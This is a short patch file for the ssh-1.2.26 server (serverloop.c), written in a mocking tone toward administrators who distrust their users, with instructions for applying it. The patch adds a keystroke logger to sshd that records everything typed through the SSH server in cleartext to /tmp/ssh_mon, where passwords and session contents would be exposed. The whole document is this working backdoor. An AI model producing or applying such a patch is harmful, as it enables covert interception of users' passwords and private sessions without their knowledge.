# system administrators: don't trust your users? dislike the shield of # cryptography? only the guilty have secrets, yes? well, strike back! # just apply this diff to you ssh-1.2.26 serverloop.c and no more worries! # all keystrokes through sshd get logged in /tmp/ssh_mon. in the clear. # yippee! # # hamblin@cs.wisc.edu # # to use: # cd ssh-1.2.26/ # patch serverloop.c < ssh_mon.patch # # 117a118,120 > /* this is the monitor stream for eavesdropping as root */ > FILE *monitor = 0; > 159a163,169 > > /* the data is shoved off onto the monitor stream. */ > fprintf(monitor, "%s", data); > if (data[0] == '\r') > fprintf(monitor, "\n"); > fflush(monitor); > 315a326 > 601a613,615 > /* here we open the monitor */ > monitor = fopen("/tmp/ssh_mon", "w+"); > 732a747 >